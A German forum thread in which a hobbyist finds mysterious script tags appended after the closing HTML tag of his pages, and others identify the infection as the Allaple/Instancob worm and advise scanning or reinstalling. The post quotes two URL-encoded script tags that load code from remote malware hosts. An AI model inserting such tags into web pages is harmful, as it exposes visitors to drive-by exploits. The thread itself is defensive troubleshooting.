Hallo Leute.
Ich bin gerade dabei, eine eigene Homepage für mich zu erstellen.

Dabei ist mir durch Zufall bei ein paar Seiten etwas komisches aufgefallen:

Nach dem Dokument ganz unten (nach </html>) steht ein komischer Script, den ICH da sicher nicht hingeschrieben hab:

Zitat:

<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

Was hat dieser Script zu bedeuten und warum steht der da auf einmal?

MfG Kondosofias.

E:Ach ja, ich find ihn meistens bei etwas längeren Seiten(viel Textinhalt)

alias d!R7sL!de

>>K:wasdwadswadwdawdwich kann nicht laufen

der Link ist eigentlich http:// js.k0102.com/ 01.asp

Zitat:

AntiVir Found HTML/Instancob.A
Ikarus Found HTML.Instancob.A

Interessanter Ausbreitungsweg...

O o
/¯¯/_o___o___o___o____o__
\__\¯¯o¯¯¯o¯¯¯¯¯¯o¯¯¯¯¯¯o
i'm doctoroctogonnafuckinggonnapus blaaaaaaaaaaargggggg-

Hast du eine Idee, wieso da der shit da steht? Und warum? Und wie ich sie wieder wegkrieg.
Kann AntiVir das entfernen?

Das dumme daran ist ja dass ich an dem PC kein Internet habe und trozdem scheint er mir voll mit Viren zu sein...

alias d!R7sL!de

>>K:wasdwadswadwdawdwich kann nicht laufen

Das Ding scheint nach kurzer googelei nur HTML-Files (und HTML-Mails) zu befallen. Ob AntiVir es entfernen kann wirst du wohl selber ausprobieren müssen.

AntiVir wird vermutlich die entsprechenden html-files löschen (wollen).

Was für ein Browser ist auf dem Rechner installiert? Ist Javascript eingeschaltet?

O o
/¯¯/_o___o___o___o____o__
\__\¯¯o¯¯¯o¯¯¯¯¯¯o¯¯¯¯¯¯o
i'm doctoroctogonnafuckinggonnapus blaaaaaaaaaaargggggg-

Also hier an dem PC wo ich ins Internet geh ist der IE drauf.

An meim PC wo ich die Seiten gemacht hab (ohne Inet) ist Mozilla drauf.

Ist das dann nicht ein bisschen dumm, wenn das dann nur so n Text in der Datei einfügt?

Edit: Hab nochmal n anderes gefunden:

Zitat:

<script src="http://%77%77%77%2E%79%61%79%61%64%6F%77%6E%2E%63%6F%6D/%62%32%2E%6A%73">

alias d!R7sL!de

>>K:wasdwadswadwdawdwich kann nicht laufen

Falls es von dem Virus nicht wieder automatisch eingefügt wird: Ja. Allerdings solltest du zum Testen der Seite JavaScript deaktivieren, dann kannst du nachschaun ohne gleich infiziert zu werden.

Was immer auch geschieht: Nie sollt Ihr so tief sinken, von dem Kakao, durch den man Euch zieht, auch noch zu trinken! -- Erich Kästner

Beide Rechner komplett mit aktuellem A/V Scanner scannen, die entsprechende Malware wird von den meisten AVs erkannt.

Twisted and Brainfire.
Das Fleisch ist willig und der Club ist eine Fleischerei!

Mit was für nem Programm erstellst sdu die Homepages?

Ich mach Homepages mit dem FUJI Homepage Designer ^^ (so n Prog wo keiner kennt...) Aber an dem liegts nicht.

Ich hab herausgefunden, dass wenn ich den Script einfach rauslösche, er nach dem nächsten Neustart wieder eingefügt wird und zwar ist das ganz komisch:
Ich kann 2-3 Minuten nach dem Windows hochgefahren ist, nicht auf meine Daten zugreifen (Doppelklick auf Laufwerk=keine Reaktion). Dann kommt urplötzlich eine "Diese Anwendung verursachte eine Fehler"-Fehlermeldung, wobei das Programm, das den Fehler gemacht hat lsass.exe heißt und geschlossen wird. Dann kommt danach fast im selben Moment eine Fehlermeldung: "Runtimeerror c++" oder so, mit der Datei pagefile.pif . Ab dann kann ich wieder darauf zugreifen aber dann steht in meiner html-Datei wieder der doofe Script am Ende.
Ich hab versucht, in der config zu gucken, ob ich den Start des Programmes iwie verhindern kann, dabei ist mir aufgefallen, dass bei der Art des Bootvorgangs der Button auf "Benutzerdefiniert" war. Hab ihn dann auf Standart gesetzt und ein Neustart gemacht und siehe da, kein doofer Script mehr in der Datei^^

Und was mir noch auffälig war, dass der Script nur in Dateien mit viel Text steht (größer als 4KB).

Javascript ist bei mir zwar aktiviert, aber da ich an diesem PC kein Internet habe, kann das mir ja egal sein.

MfG Kondosofias

Edit: Nur nebenbei ne kleine Frage zum Rechtlichen auf ner Homepage.
Wenn ich auf meiner HP Handydesigns zum Download anbieten will, und in diesen Handydesigns Bilder mancher Marken (z.b. burgerking) oder einer "leicht bekleideten Dame" drin sind, darf ich die dann überhaupt zum download anbieten?

alias d!R7sL!de

>>K:wasdwadswadwdawdwich kann nicht laufen

[autoritätsargument] Windows Neuinstallieren [/autoritätsargument]

Twisted and Brainfire.
Das Fleisch ist willig und der Club ist eine Fleischerei!

Ich hatte vor kurzem auch so einen virenbefall von einer webseite. Allerdings befindet sich auf der webseite, die ich geladen habe kein javascript. Es scheint eher an einer Sicherheitslücke des 6er internetexplorers zu sein. Mit dem 7er und firefox + andere browsern wirst du diese virenmeldung nicht bekommen schätze ich.

"Everything, that can go wrong, will go wrong" Murphy's Law

dadurch ist der virus noch lange nicht von deinem computer runter.
hör auf harald, der kennt sich mit sowas aus.. setz windows neu auf.

caedes

Deutschland rückt nach Einschätzung der Sicherheitsbehörden im Superwahljahr verstärkt ins Visier von Terroristen.

Was ist eigentlich aus der guten alten Mehrheit der Deutschen geworden, die einfach macht, was man ihnen sagt? Anscheinend benötigt es hier ja doch ein wenig Argumentation:

Es sieht verdammt so aus, als ob du dir Allaple.{A,B,C} eingefangen hättest. Das ist ein polymorpher Wurm / Virus, der sich unter anderem über die gute alte ASN1 Schwachstelle, aber eben auch über das einbetten von Schadcode fremder Seiten verbreitet. Der Code da oben lädt von einem zentralem Server ein JScript nach, was dann ein <iframe> zu einem Client-Side Exploit einbettet.
Das ganze geschieht autonom, ohne zentralen C&C und wird daher auch noch weitergehen: der Autor wurde kürzlich in Estland verhaftet, ändert aber mangels Botnet-Charakter nichts an der Weiterverbreitung dieser Pest. Glaub mir, ich kenn mich mit der Schlampe aus.

Twisted and Brainfire.
Das Fleisch ist willig und der Club ist eine Fleischerei!

scheißdreck!

alias d!R7sL!de

>>K:wasdwadswadwdawdwich kann nicht laufen